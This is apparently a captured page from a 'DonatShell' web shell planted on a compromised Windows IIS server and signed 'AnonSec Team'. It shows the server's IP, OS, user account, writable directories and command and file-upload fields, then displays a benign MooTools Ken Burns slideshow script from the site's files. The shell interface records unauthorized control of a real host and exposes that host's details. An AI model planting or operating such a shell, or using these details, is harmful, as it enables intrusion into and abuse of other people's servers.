DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/tmp/install_531c697551ee5/js/ext/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/tmp/install_531c697551ee5/js/ext/slideshow.kenburns.js
/**
Script: Slideshow.KenBurns.js
	Slideshow.KenBurns - KenBurns extension for Slideshow, includes zooming and panning effects.

License:
	MIT-style license.

Copyright:
	Copyright (c) 2008 [Aeron Glemann](http://www.electricprism.com/aeron/).
	Custom changes (c) 2011 [Levente Hunyadi](http://hunyadi.info.hu/projects/showplus/).
	
Dependencies:
	Slideshow.
*/
(function(){
	Slideshow.KenBurns = new Class({
		Extends: Slideshow,

		options: {
			pan: [100, 100],
			zoom: [50, 50]
		},

	/**
	Constructor: initialize
		Creates an instance of the Slideshow class.

	Arguments:
		element - (element) The wrapper element.
		data - (array or object) The images and optional thumbnails, captions and links for the show.
		options - (object) The options below.

	Syntax:
		var myShow = new Slideshow.KenBurns(element, data, options);
	*/

		initialize: function(el, data, options){
			options = options || {};
			options.cover = false;  // [Levente Hunyadi]
			options.overlap = true;
			options.resize = 'fill';
			['pan', 'zoom'].each(function(p){
				if (this[p] != undefined){
					if (typeOf(this[p]) != 'array') this[p] = [this[p], this[p]];
					this[p].map(function(n){return (n.toInt() || 0).limit(0, 100);});					
				}
			}, options);
			this.parent(el, data, options);
		},

	/**
	Private method: show
		Does the slideshow effect.
	*/

		_show: function(fast){
			if (!this.image.retrieve('morph')){
				$$(this.a, this.b).set({
					'tween': {'duration': this.options.duration, 'link': 'cancel', 'onStart': this._start.bind(this), 'onComplete': this._complete.bind(this), 'property': 'opacity'},
					'morph': {'duration': (this.options.delay + this.options.duration * 2), 'link': 'cancel', 'transition': 'linear'}
				});
			}
			this.image.set('styles', {'bottom': 'auto', 'left': 'auto', 'right': 'auto', 'top': 'auto'});
			var props = ['top left', 'top right', 'bottom left', 'bottom right'][this.counter % 4].split(' ');
			this.image.setStyles([0, 0].associate(props));
			var src = this.data.images[this._slide].replace(/([^?]+).*/, '$1'),
				cache = this.cache[src];
			dh = this.height / cache.height;
			dw = this.width / cache.width;
			delta = (dw > dh) ? dw : dh;
			var values = {},
				zoom = (Number.random.apply(Number, this.options.zoom) / 100.0) + 1,
				pan = Math.abs((Number.random.apply(Number, this.options.pan) / 100.0) - 1);
			['height', 'width'].each(function(prop, i){
				var e = Math.ceil(cache[prop] * delta),
					s = (e * zoom).toInt();		
				values[prop] = [s, e];
				if (dw > dh || i){
					e = (this[prop] - this.image[prop]);
					s = (e * pan).toInt();			
					values[props[i]] = [s, e];
				}
			}, this);
			var paused = ((this.firstrun && this.options.paused) || this.paused);
			if (fast || paused){
				this._center(this.image);
				this.image.get('morph').cancel();
				if (paused)
					this.image.get('tween').cancel().set(0).start(1);
				else
					this.image.get('tween').cancel().set(1);
			} 
			else{
				this.image.get('morph').start(values);
				this.image.get('tween').set(0).start(1);
			}
		}
	});
})();

Anon7 - 2022
AnonSec Team